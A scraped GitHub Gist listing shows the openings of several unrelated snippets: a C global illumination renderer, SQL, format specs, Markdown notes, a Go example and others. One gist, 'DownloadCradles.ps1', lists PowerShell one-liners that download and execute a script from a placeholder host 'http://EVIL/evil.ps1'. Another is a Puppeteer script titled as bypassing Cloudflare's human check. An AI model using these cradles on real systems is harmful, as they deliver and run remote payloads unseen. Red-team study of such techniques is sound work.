Skip to content

Instantly share code, notes, and snippets.

@futureengine2
futureengine2 / gi.c
Last active May 14, 2024 13:26
Radiance Cascades 2d GI implementation
static void gi_on_gpu(u8* in_bitmap, int w, int h) {
#define num_cascades 7
static bool initialized;
static gpu_bindgroup_t texture_bindgroup[2];
static gpu_bindgroup_t cascade_uniform_bindgroup[num_cascades];
static gpu_bindgroup_t render_uniform_bindgroup;
static gpu_buffer_t vertex_buffer;
static gpu_buffer_t uniform_buffer;
static gpu_pipeline_t pipeline;
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active May 14, 2024 13:26
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@CodedSakura
CodedSakura / GNU Octave.sublime-build
Last active May 14, 2024 13:24
My Sublime Text build systems
{
"cmd": ["octave", "$file"],
"selector": "source.matlab",
}
with
dau as (
-- This part of the query can be pretty much anything.
-- The only requirement is that it have three columns:
-- dt, user_id, inc_amt
-- Where dt is a date and user_id is some unique identifier for a user.
-- Each dt-user_id pair should be unique in this table.
-- inc_amt represents the amount of value that this user created on dt.
-- The most common case is
-- inc_amt = incremental revenue from the user on dt
@waki285
waki285 / sus-specification-2.7.md
Last active May 14, 2024 13:24 — forked from kb10uy/sus-specification-2.7.md
SUS Format v2.7 Specification (English)

SUS Format Specification v2.7 (rev2)

  • SUS stands for Sliding Universal Score, not SeaUrchin Score anymore.
    (Annotation: SUS files were originally the proprietary format of SeaUrchin, a tool to play custom chart)

1. Overview

  • Plain Text data, consisting entirely of printable characters.
  • File extension: *.sus
  • EOL: CRLF or LF
  • Encode: Always UTF-8
  • Lines beginning with # are meaningful as data; thus other lines are ignored as comments.
@noamtamim
noamtamim / README.md
Last active May 14, 2024 13:23
Markdown with PlantUML

How to use PlantUML with Markdown

PlantUML is a really awesome way to create diagrams by writing code instead of drawing and dragging visual elements. Markdown is a really nice documentation tool.

Here's how I combine the two, to create docs with embedded diagrams.

Step 0: Setup

Get the command-line PlantUML from the download page or your relevant package manager.

@i-sync
i-sync / puppeteer.js
Last active May 14, 2024 13:21
Python use selenium skip cloudflare Verify you are human
//this works.
const puppeteer = require('puppeteer');
const fs = require('fs')
const path = require('path')
const { promisify } = require('util')
const readFileAsync = promisify(fs.readFile)
const writeFileAsync = promisify(fs.writeFile);
@PkuCuipy
PkuCuipy / longest_chinese_tokens_gpt4o.py
Last active May 14, 2024 13:21 — forked from ctlllll/longest_chinese_tokens_gpt4o.py
Longest Chinese tokens in gpt4o
import tiktoken
from tqdm import tqdm
length_dict = {}
T = tiktoken.get_encoding("o200k_base")
for i in tqdm(range(T.n_vocab)):
try: length_dict[i] = len(T.decode([i]).encode("utf-8"))
except: pass
length_dict = dict(sorted(length_dict.items(), key=lambda t: -t[1]))
@Sup3r-Us3r
Sup3r-Us3r / appointment.go
Created May 14, 2024 13:08
Example in Golang for obtaining available appointments, dealing with possible conflicts between existing appointments.
package main
import (
"fmt"
"time"
)
type Appointment struct {
Start time.Time
Duration time.Duration
@wojteklu
wojteklu / clean_code.md
Last active May 14, 2024 13:15
Summary of 'Clean code' by Robert C. Martin

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.


General rules

  1. Follow standard conventions.
  2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
  3. Boy scout rule. Leave the campground cleaner than you found it.
  4. Always find root cause. Always look for the root cause of a problem.

Design rules